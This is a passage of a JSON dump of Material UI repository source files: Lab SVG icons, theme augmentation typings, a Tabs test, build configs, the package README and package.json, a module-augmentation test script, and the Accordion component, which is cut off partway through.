    "content": "'use client';\nimport * as React from 'react';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <React.Fragment>\n    <path d=\"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8z\" />\n    <path d=\"M12.5 7H11v6l5.25 3.15.75-1.23-4.5-2.67z\" />\n  </React.Fragment>,\n  'Clock',\n);\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/DateRange.tsx",
    "content": "'use client';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M9 11H7v2h2v-2zm4 0h-2v2h2v-2zm4 0h-2v2h2v-2zm2-7h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 16H5V9h14v11z\" />,\n  'DateRange',\n);\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/Pen.tsx",
    "content": "'use client';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75L3 17.25zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.9959.9959 0 00-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83z\" />,\n  'Pen',\n);\n"
  },
  {
    "path": "packages/mui-lab/src/internal/svg-icons/Time.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport { createSvgIcon } from '@mui/material/utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <React.Fragment>\n    <path d=\"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8z\" />\n    <path d=\"M12.5 7H11v6l5.25 3.15.75-1.23-4.5-2.67z\" />\n  </React.Fragment>,\n  'Time',\n);\n"
  },
  {
    "path": "packages/mui-lab/src/themeAugmentation/components.ts",
    "content": "import {\n  ComponentsProps,\n  ComponentsOverrides,\n  ComponentsVariants,\n  Theme as MuiTheme,\n} from '@mui/material/styles';\n\ntype Theme = Omit<MuiTheme, 'components'>;\n\n// shut off automatic exporting for the `Theme` above\nexport {};\n\nexport interface LabComponents {\n  MuiLoadingButton?:\n    | {\n        defaultProps?: ComponentsProps['MuiLoadingButton'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiLoadingButton'] | undefined;\n        variants?: ComponentsVariants['MuiLoadingButton'] | undefined;\n      }\n    | undefined;\n  MuiMasonry?:\n    | {\n        defaultProps?: ComponentsProps['MuiMasonry'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiMasonry'] | undefined;\n        variants?: ComponentsVariants['MuiMasonry'] | undefined;\n      }\n    | undefined;\n  MuiTabList?:\n    | {\n        defaultProps?: ComponentsProps['MuiTabList'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTabList'] | undefined;\n        variants?: ComponentsVariants['MuiTabList'] | undefined;\n      }\n    | undefined;\n  MuiTabPanel?:\n    | {\n        defaultProps?: ComponentsProps['MuiTabPanel'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTabPanel'] | undefined;\n        variants?: ComponentsVariants['MuiTabPanel'] | undefined;\n      }\n    | undefined;\n  MuiTimeline?:\n    | {\n        defaultProps?: ComponentsProps['MuiTimeline'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTimeline'] | undefined;\n        variants?: ComponentsVariants['MuiTimeline'] | undefined;\n      }\n    | undefined;\n  MuiTimelineConnector?:\n    | {\n        defaultProps?: ComponentsProps['MuiTimelineConnector'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTimelineConnector'] | undefined;\n        variants?: ComponentsVariants['MuiTimelineConnector'] | undefined;\n      }\n    | undefined;\n  MuiTimelineContent?:\n    | {\n        defaultProps?: ComponentsProps['MuiTimelineContent'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTimelineContent'] | undefined;\n        variants?: ComponentsVariants['MuiTimelineContent'] | undefined;\n      }\n    | undefined;\n  MuiTimelineDot?:\n    | {\n        defaultProps?: ComponentsProps['MuiTimelineDot'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTimelineDot'] | undefined;\n        variants?: ComponentsVariants['MuiTimelineDot'] | undefined;\n      }\n    | undefined;\n  MuiTimelineItem?:\n    | {\n        defaultProps?: ComponentsProps['MuiTimelineItem'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTimelineItem'] | undefined;\n        variants?: ComponentsVariants['MuiTimelineItem'] | undefined;\n      }\n    | undefined;\n  MuiTimelineOppositeContent?:\n    | {\n        defaultProps?: ComponentsProps['MuiTimelineOppositeContent'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTimelineOppositeContent'] | undefined;\n        variants?: ComponentsVariants['MuiTimelineOppositeContent'] | undefined;\n      }\n    | undefined;\n  MuiTimelineSeparator?:\n    | {\n        defaultProps?: ComponentsProps['MuiTimelineSeparator'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiTimelineSeparator'] | undefined;\n        variants?: ComponentsVariants['MuiTimelineSeparator'] | undefined;\n      }\n    | undefined;\n}\n\ndeclare module '@mui/material/styles' {\n  interface Components extends LabComponents {}\n}\n"
  },
  {
    "path": "packages/mui-lab/src/themeAugmentation/index.d.ts",
    "content": "export * from './overrides';\nexport * from './props';\nexport * from './components';\n"
  },
  {
    "path": "packages/mui-lab/src/themeAugmentation/index.js",
    "content": "// Prefer to use `import type {} from '@mui/lab/themeAugmentation';` instead to avoid importing an empty file.\n"
  },
  {
    "path": "packages/mui-lab/src/themeAugmentation/overrides.ts",
    "content": "import { LoadingButtonClassKey } from '../LoadingButton';\nimport { MasonryClassKey } from '../Masonry';\nimport { TabListClassKey } from '../TabList';\nimport { TabPanelClassKey } from '../TabPanel';\nimport { TimelineClassKey } from '../Timeline';\nimport { TimelineConnectorClassKey } from '../TimelineConnector';\nimport { TimelineContentClassKey } from '../TimelineContent';\nimport { TimelineDotClassKey } from '../TimelineDot';\nimport { TimelineItemClassKey } from '../TimelineItem';\nimport { TimelineOppositeContentClassKey } from '../TimelineOppositeContent';\nimport { TimelineSeparatorClassKey } from '../TimelineSeparator';\n\n// prettier-ignore\nexport interface LabComponentNameToClassKey {\n  MuiLoadingButton: LoadingButtonClassKey;\n  MuiMasonry: MasonryClassKey;\n  MuiTabList: TabListClassKey;\n  MuiTabPanel: TabPanelClassKey;\n  MuiTimeline: TimelineClassKey;\n  MuiTimelineConnector: TimelineConnectorClassKey;\n  MuiTimelineContent: TimelineContentClassKey;\n  MuiTimelineDot: TimelineDotClassKey;\n  MuiTimelineItem: TimelineItemClassKey;\n  MuiTimelineOppositeContent: TimelineOppositeContentClassKey;\n  MuiTimelineSeparator: TimelineSeparatorClassKey;\n}\n\ndeclare module '@mui/material/styles' {\n  interface ComponentNameToClassKey extends LabComponentNameToClassKey {}\n}\n\n// disable automatic export\nexport {};\n"
  },
  {
    "path": "packages/mui-lab/src/themeAugmentation/props.ts",
    "content": "import { LoadingButtonProps } from '../LoadingButton';\nimport { TabListProps } from '../TabList';\nimport { TabPanelProps } from '../TabPanel';\nimport { TimelineConnectorProps } from '../TimelineConnector';\nimport { TimelineContentProps } from '../TimelineContent';\nimport { TimelineDotProps } from '../TimelineDot';\nimport { TimelineItemProps } from '../TimelineItem';\nimport { TimelineOppositeContentProps } from '../TimelineOppositeContent';\nimport { TimelineProps } from '../Timeline';\nimport { TimelineSeparatorProps } from '../TimelineSeparator';\nimport { MasonryProps } from '../Masonry';\n\nexport interface LabComponentsPropsList {\n  MuiLoadingButton: LoadingButtonProps;\n  MuiMasonry: MasonryProps;\n  MuiTabList: TabListProps;\n  MuiTabPanel: TabPanelProps;\n  MuiTimeline: TimelineProps;\n  MuiTimelineConnector: TimelineConnectorProps;\n  MuiTimelineContent: TimelineContentProps;\n  MuiTimelineDot: TimelineDotProps;\n  MuiTimelineItem: TimelineItemProps;\n  MuiTimelineOppositeContent: TimelineOppositeContentProps;\n  MuiTimelineSeparator: TimelineSeparatorProps;\n}\n\ndeclare module '@mui/material/styles' {\n  interface ComponentsPropsList extends LabComponentsPropsList {}\n}\n\n// disable automatic export\nexport {};\n"
  },
  {
    "path": "packages/mui-lab/src/useAutocomplete/index.d.ts",
    "content": "export { default } from '@mui/material/useAutocomplete';\n"
  },
  {
    "path": "packages/mui-lab/src/useAutocomplete/index.js",
    "content": "export { default, createFilterOptions } from '@mui/material/useAutocomplete';\n"
  },
  {
    "path": "packages/mui-lab/src/zero-styled/index.ts",
    "content": "/* eslint-disable import/prefer-default-export */\nexport { styled } from '@mui/material/styles';\n"
  },
  {
    "path": "packages/mui-lab/test/describeConformance.ts",
    "content": "import {\n  describeConformance as baseDescribeConformance,\n  ConformanceOptions,\n} from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nexport default function describeConformance(\n  minimalElement: React.ReactElement<unknown>,\n  getOptions: () => ConformanceOptions,\n) {\n  function getOptionsWithDefaults() {\n    return {\n      ThemeProvider,\n      createTheme,\n      ...getOptions(),\n    };\n  }\n\n  return baseDescribeConformance(minimalElement, getOptionsWithDefaults);\n}\n"
  },
  {
    "path": "packages/mui-lab/test/integration/Tabs.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Tab from '@mui/material/Tab';\nimport TabContext from '@mui/lab/TabContext';\nimport TabList from '@mui/lab/TabList';\nimport TabPanel from '@mui/lab/TabPanel';\n\ndescribe('<TabContext /> integration', () => {\n  const { render } = createRenderer();\n\n  it('wires up aria attributes', () => {\n    const { setProps } = render(\n      <TabContext value=\"0\">\n        <TabList>\n          <Tab label=\"label one\" value=\"0\" />\n          <Tab label=\"label two\" value=\"1\" />\n        </TabList>\n        <TabPanel value=\"0\" />\n        <TabPanel value=\"1\" />\n      </TabContext>,\n    );\n\n    const [tabOne, tabTwo] = screen.getAllByRole('tab');\n\n    expect(tabOne).to.have.attribute('aria-selected', 'true');\n    expect(tabTwo).to.have.attribute('aria-selected', 'false');\n    let activePanel = document.getElementById(tabOne.getAttribute('aria-controls'));\n    expect(activePanel).not.toBeInaccessible();\n    expect(activePanel).toHaveAccessibleName('label one');\n\n    setProps({ value: '1' });\n\n    expect(tabOne).to.have.attribute('aria-selected', 'false');\n    expect(tabTwo).to.have.attribute('aria-selected', 'true');\n    activePanel = document.getElementById(tabTwo.getAttribute('aria-controls'));\n    expect(activePanel).not.toBeInaccessible();\n    expect(activePanel).toHaveAccessibleName('label two');\n  });\n});\n"
  },
  {
    "path": "packages/mui-lab/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"noEmit\": false,\n    \"declaration\": true,\n    \"rootDir\": \"./src\",\n    \"outDir\": \"build\",\n    \"emitDeclarationOnly\": true\n  },\n  \"include\": [\"src/**/*.ts*\"],\n  \"exclude\": [\"src/**/*.d.ts\", \"src/**/*.test.*\", \"./**/*.spec.*\"],\n  \"references\": [\n    { \"path\": \"../mui-material/tsconfig.build.json\" },\n    { \"path\": \"../mui-system/tsconfig.build.json\" }\n  ]\n}\n"
  },
  {
    "path": "packages/mui-lab/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    // @date-io libraries produce duplicate type `DateType`\n    \"skipLibCheck\": true\n  },\n  \"include\": [\"src/**/*\", \"test/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-lab/vitest.config.browser.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/mui-lab/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-material/README.md",
    "content": "<!-- #host-reference -->\n<!-- markdownlint-disable-next-line -->\n<p align=\"center\">\n  <a href=\"https://next.mui.com/material-ui/\" rel=\"noopener\" target=\"_blank\"><img width=\"150\" height=\"133\" src=\"https://next.mui.com/static/logo.svg\" alt=\"Material UI logo\"></a>\n</p>\n\n<h1 align=\"center\">Material UI</h1>\n\nMaterial UI is an open-source React component library that implements Google's [Material Design](https://m2.material.io/design/introduction/). It's comprehensive and can be used in production out of the box.\n\n## Installation\n\nInstall the package in your project directory with:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpm install @mui/material@next @emotion/react @emotion/styled\n```\n\n## Documentation\n\nVisit [https://next.mui.com/material-ui/](https://next.mui.com/material-ui/) to view the full documentation.\n\n## Questions\n\nFor how-to questions that don't involve making changes to the code base, please use [Stack Overflow](https://stackoverflow.com/questions/tagged/material-ui) instead of GitHub issues.\nUse the \"material-ui\" tag on Stack Overflow to make it easier for the community to find your question.\n\n## Examples\n\nOur documentation features [a collection of example projects using Material UI](https://mui.com/material-ui/getting-started/example-projects/).\n\n## Contributing\n\nRead the [contributing guide](../../CONTRIBUTING.md) to learn about our development process, how to propose bug fixes and improvements, and how to build and test your changes.\n\nContributing to Material UI is about more than just issues and pull requests!\nThere are many other ways to [support Material UI](https://mui.com/material-ui/getting-started/faq/#mui-is-awesome-how-can-i-support-the-project) beyond contributing to the code base.\n\n## Changelog\n\nThe [changelog](https://github.com/mui/material-ui/releases) is regularly updated to reflect what's changed in each new release.\n\n## Roadmap\n\nFuture plans and high-priority features and enhancements can be found in the [roadmap](https://mui.com/material-ui/discover-more/roadmap/).\n\n## License\n\nThis project is licensed under the terms of the\n[MIT license](../../LICENSE).\n\n## Security\n\nFor details of supported versions and contact details for reporting security issues, please refer to the [security policy](https://github.com/mui/material-ui/security/policy).\n"
  },
  {
    "path": "packages/mui-material/package.json",
    "content": "{\n  \"name\": \"@mui/material\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Material UI is an open-source React component library that implements Google's Material Design. It's comprehensive and can be used in production out of the box.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"material-ui\",\n    \"material design\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-material\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/material-ui/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/material\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"typescript:module-augmentation\": \"node scripts/testModuleAugmentation.js\",\n    \"attw\": \"attw --pack ./build --entrypoints \\\".\\\" \\\"Button\\\" \\\"styles\\\" \\\"utils\\\"\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@mui/core-downloads-tracker\": \"workspace:^\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/types\": \"workspace:^\",\n    \"@mui/utils\": \"workspace:*\",\n    \"@popperjs/core\": \"^2.11.8\",\n    \"@types/react-transition-group\": \"^4.4.12\",\n    \"clsx\": \"^2.1.1\",\n    \"csstype\": \"^3.2.3\",\n    \"prop-types\": \"^15.8.1\",\n    \"react-is\": \"^19.2.4\",\n    \"react-transition-group\": \"^4.4.5\"\n  },\n  \"devDependencies\": {\n    \"@types/chai\": \"5.2.3\",\n    \"@types/prop-types\": \"15.7.15\",\n    \"@types/react\": \"19.2.14\",\n    \"@types/react-dom\": \"19.2.3\",\n    \"@types/sinon\": \"17.0.4\",\n    \"chai\": \"6.2.2\",\n    \"css-mediaquery\": \"0.1.2\",\n    \"es-toolkit\": \"1.45.1\",\n    \"fast-glob\": \"3.3.3\",\n    \"react\": \"19.2.4\",\n    \"react-dom\": \"19.2.4\",\n    \"react-router\": \"7.13.2\",\n    \"sinon\": \"21.0.3\"\n  },\n  \"peerDependencies\": {\n    \"@emotion/react\": \"^11.5.0\",\n    \"@emotion/styled\": \"^11.3.0\",\n    \"@mui/material-pigment-css\": \"workspace:*\",\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react-dom\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    },\n    \"@emotion/react\": {\n      \"optional\": true\n    },\n    \"@emotion/styled\": {\n      \"optional\": true\n    },\n    \"@mui/material-pigment-css\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.js\",\n    \"./ButtonBase/TouchRipple\": \"./src/ButtonBase/TouchRipple.js\",\n    \"./zero-styled\": \"./src/zero-styled/index.tsx\",\n    \"./className\": \"./src/className/index.ts\",\n    \"./ClickAwayListener\": \"./src/ClickAwayListener/index.ts\",\n    \"./darkScrollbar\": \"./src/darkScrollbar/index.ts\",\n    \"./DefaultPropsProvider\": \"./src/DefaultPropsProvider/index.ts\",\n    \"./generateUtilityClass\": \"./src/generateUtilityClass/index.ts\",\n    \"./generateUtilityClasses\": \"./src/generateUtilityClasses/index.ts\",\n    \"./Grid\": \"./src/Grid/index.ts\",\n    \"./InitColorSchemeScript\": \"./src/InitColorSchemeScript/index.ts\",\n    \"./internal\": \"./src/internal/index.ts\",\n    \"./locale\": \"./src/locale/index.ts\",\n    \"./OverridableComponent\": \"./src/OverridableComponent/index.ts\",\n    \"./PigmentContainer\": \"./src/PigmentContainer/index.ts\",\n    \"./PigmentGrid\": \"./src/PigmentGrid/index.ts\",\n    \"./PigmentStack\": \"./src/PigmentStack/index.ts\",\n    \"./themeCssVarsAugmentation\": \"./src/themeCssVarsAugmentation/index.ts\",\n    \"./transitions\": \"./src/transitions/index.ts\",\n    \"./useLazyRipple\": \"./src/useLazyRipple/index.ts\",\n    \"./version\": \"./src/version/index.ts\",\n    \"./*\": \"./src/*/index.js\"\n  },\n  \"pigment-css\": {\n    \"vite\": {\n      \"include\": [\n        \"prop-types\",\n        \"react-is\",\n        \"hoist-non-react-statics\",\n        \"react\",\n        \"react-dom\",\n        \"@emotion/react\"\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "packages/mui-material/scripts/testModuleAugmentation.js",
    "content": "const childProcess = require('child_process');\nconst path = require('path');\nconst { promisify } = require('util');\nconst { chunk } = require('es-toolkit/array');\nconst glob = require('fast-glob');\n\nconst exec = promisify(childProcess.exec);\nconst packageRoot = path.resolve(__dirname, '../');\n\nasync function test(tsconfigPath) {\n  try {\n    await exec(['pnpm', 'tsc', '--project', tsconfigPath].join(' '), { cwd: packageRoot });\n  } catch (error) {\n    if (error.stdout !== undefined) {\n      // `exec` error\n      throw new Error(`exit code ${error.code}: ${error.stdout}`);\n    }\n    // Unknown error\n    throw error;\n  }\n}\n\n/**\n * Tests various module augmentation scenarios.\n * We can't run them with a single `tsc` run since these apply globally.\n * Running them all would mean they're not isolated.\n * Each test case represents a section in our docs.\n */\nasync function main() {\n  const tsconfigPaths = await glob('test/typescript/moduleAugmentation/*.tsconfig.json', {\n    absolute: true,\n    cwd: packageRoot,\n  });\n  // Need to process in chunks or we might run out-of-memory\n  // approximate pnpm lerna --concurrency 7\n  const tsconfigPathsChunks = chunk(tsconfigPaths, 7);\n\n  for await (const tsconfigPathsChunk of tsconfigPathsChunks) {\n    await Promise.all(\n      tsconfigPathsChunk.map(async (tsconfigPath) => {\n        await test(tsconfigPath).then(\n          () => {\n            // eslint-disable-next-line no-console -- test runner feedback\n            console.log(`PASS ${path.relative(process.cwd(), tsconfigPath)}`);\n          },\n          (error) => {\n            // don't bail but log the error\n            console.error(`FAIL ${path.relative(process.cwd(), tsconfigPath)}\\n ${error}`);\n            // and mark the test as failed\n            process.exitCode = 1;\n          },\n        );\n      }),\n    );\n  }\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "packages/mui-material/src/Accordion/Accordion.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { TransitionProps } from '../transitions/transition';\nimport { AccordionClasses } from './accordionClasses';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ExtendPaperTypeMap, PaperProps } from '../Paper/Paper';\nimport { CreateSlotsAndSlotProps, SlotComponentProps, SlotProps } from '../utils/types';\n\nexport interface AccordionSlots {\n  /**\n   * The component that renders the root.\n   * @default Paper\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the heading.\n   * @default 'h3'\n   */\n  heading: React.ElementType;\n  /**\n   * The component that renders the transition.\n   * [Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\n   * @default Collapse\n   */\n  transition: React.ElementType;\n  /**\n   * The component that renders the region.\n   * @default 'div'\n   */\n  region: React.ElementType;\n}\n\nexport interface AccordionRootSlotPropsOverrides {}\nexport interface AccordionHeadingSlotPropsOverrides {}\nexport interface AccordionTransitionSlotPropsOverrides {}\nexport interface AccordionRegionSlotPropsOverrides {}\n\nexport type AccordionSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  AccordionSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the Paper element.\n     */\n    root: SlotProps<\n      React.ElementType<PaperProps>,\n      AccordionRootSlotPropsOverrides,\n      AccordionOwnerState\n    >;\n    /**\n     * Props forwarded to the heading slot.\n     * By default, the available props are based on the h3 element.\n     */\n    heading: SlotProps<'h3', AccordionHeadingSlotPropsOverrides, AccordionOwnerState>;\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Collapse](https://mui.com/material-ui/api/collapse/#props) component.\n     */\n    transition: SlotComponentProps<\n      React.ElementType<TransitionProps>,\n      TransitionProps & AccordionTransitionSlotPropsOverrides,\n      AccordionOwnerState\n    >;\n    /**\n     * Props forwarded to the region slot.\n     * By default, the available props are based on the div element.\n     */\n    region: SlotProps<'div', AccordionRegionSlotPropsOverrides, AccordionOwnerState>;\n  }\n>;\n\nexport interface AccordionOwnProps {\n  /**\n   * The content of the component.\n   */\n  children: NonNullable<React.ReactNode>;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AccordionClasses> | undefined;\n  /**\n   * If `true`, expands the accordion by default.\n   * @default false\n   */\n  defaultExpanded?: boolean | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, it removes the margin between two expanded accordion items and prevents the increased height when expanded.\n   * @default false\n   */\n  disableGutters?: boolean | undefined;\n  /**\n   * If `true`, expands the accordion, otherwise collapses it.\n   * Setting this prop enables control over the accordion.\n   */\n  expanded?: boolean | undefined;\n  /**\n   * Callback fired when the expand/collapse state is changed.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {boolean} expanded The `expanded` state of the accordion.\n   */\n  onChange?: ((event: React.SyntheticEvent, expanded: boolean) => void) | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type AccordionTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> = ExtendPaperTypeMap<\n  {\n    props: AdditionalProps & AccordionOwnProps & AccordionSlotsAndSlotProps;\n    defaultComponent: RootComponent;\n  },\n  'onChange' | 'classes'\n>;\n\n/**\n *\n * Demos:\n *\n * - [Accordion](https://next.mui.com/material-ui/react-accordion/)\n *\n * API:\n *\n * - [Accordion API](https://next.mui.com/material-ui/api/accordion/)\n * - inherits [Paper API](https://next.mui.com/material-ui/api/paper/)\n */\ndeclare const Accordion: OverridableComponent<AccordionTypeMap>;\n\nexport type AccordionProps<\n  RootComponent extends React.ElementType = AccordionTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<AccordionTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport interface AccordionOwnerState extends AccordionProps {}\n\nexport default Accordion;\n"
  },
  {
    "path": "packages/mui-material/src/Accordion/Accordion.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Collapse from '../Collapse';\nimport Paper from '../Paper';\nimport AccordionContext from './AccordionContext';\nimport useControlled from '../utils/useControlled';\nimport useSlot from '../utils/useSlot';\nimport accordionClasses, { getAccordionUtilityClass } from './accordionClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, square, expanded, disabled, disableGutters } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      !square && 'rounded',\n      expanded && 'expanded',\n      disabled && 'disabled',\n      !disableGutters && 'gutters',\n    ],\n    heading: ['heading'],\n    region: ['region'],\n  };\n\n  return composeClasses(slots, getAccordionUtilityClass, classes);\n};\n\nconst AccordionRoot = styled(Paper, {\n  name: 'MuiAccordion',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${accordionClasses.region}`]: styles.region },\n      styles.root,\n      !ownerState.square && styles.rounded,\n      !ownerState.disableGutters && styles.gutters,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => {\n    const transition = {\n      duration: theme.transitions.duration.shortest,\n    };\n\n    return {\n      position: 'relative',\n      transition: theme.transitions.create(['margin'], transition),\n      overflowAnchor: 'none', // Keep the same scrolling position\n      '&::before': {\n        position: 'absolute',\n        left: 0,\n        top: -1,\n        right: 0,\n        height: 1,\n        content: '\"\"',\n        opacity: 1,\n        backgroundColor: (theme.vars || theme).palette.divider,\n        transition: theme.transitions.create(['opacity', 'background-color'], transition),\n      },\n      '&:first-of-type': {\n        '&::before': {\n          display: 'none',\n        },\n      },\n      [`&.${accordionClasses.expanded}`]: {\n        '&::before': {\n          opacity: 0,\n        },\n        '&:first-of-type': {\n          marginTop: 0,\n        },\n        '&:last-of-type': {\n          marginBottom: 0,\n        },\n        '& + &': {\n          '&::before': {\n            display: 'none',\n          },\n        },\n      },\n      [`&.${accordionClasses.disabled}`]: {\n        backgroundColor: (theme.vars || theme).palette.action.disabledBackground,\n      },\n    };\n  }),\n  memoTheme(({ theme }) => ({\n    variants: [\n      {\n        props: (props) => !props.square,\n        style: {\n          borderRadius: 0,\n          '&:first-of-type': {\n            borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n            borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n          },\n          '&:last-of-type': {\n            borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n            borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n            // Fix a rendering issue on Edge\n            '@supports (-ms-ime-align: auto)': {\n              borderBottomLeftRadius: 0,\n              borderBottomRightRadius: 0,\n            },\n          },\n        },\n      },\n      {\n        props: (props) => !props.disableGutters,\n        style: {\n          [`&.${accordionClasses.expanded}`]: {\n            margin: '16px 0',\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst AccordionHeading = styled('h3', {\n  name: 'MuiAccordion',\n  slot: 'Heading',\n})({\n  all: 'unset',\n});\n\nconst AccordionRegion = styled('div', {\n  name: 'MuiAccordion',\n  slot: 'Region',\n})({});\n\nconst Accordion = React.forwardRef(function Accordion(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiAccordion' });\n  const {\n    children: childrenProp,\n    className,\n    defaultExpanded = false,\n    disabled = false,\n    disableGutters = false,\n    expanded: expandedProp,\n    onChange,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const [expanded, setExpandedState] = useControlled({\n    controlled: expandedProp,\n    default: defaultExpanded,\n    name: 'Accordion',\n    state: 'expanded',\n  });\n\n  const handleChange = React.useCallback(\n    (event) => {\n      setExpandedState(!expanded);\n\n      if (onChange) {\n        onChange(event, !expanded);\n      }\n    },\n    [expanded, onChange, setExpandedState],\n  );\n\n  const [summary, ...children] = React.Children.toArray(childrenProp);\n  const contextValue = React.useMemo(\n    () => ({ expanded, disabled, disableGutters, toggle: handleChange }),\n    [expanded, disabled, disableGutters, handleChange],\n  );\n\n  const ownerState = {\n    ...props,\n    disabled,\n    disableGutters,\n    expanded,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    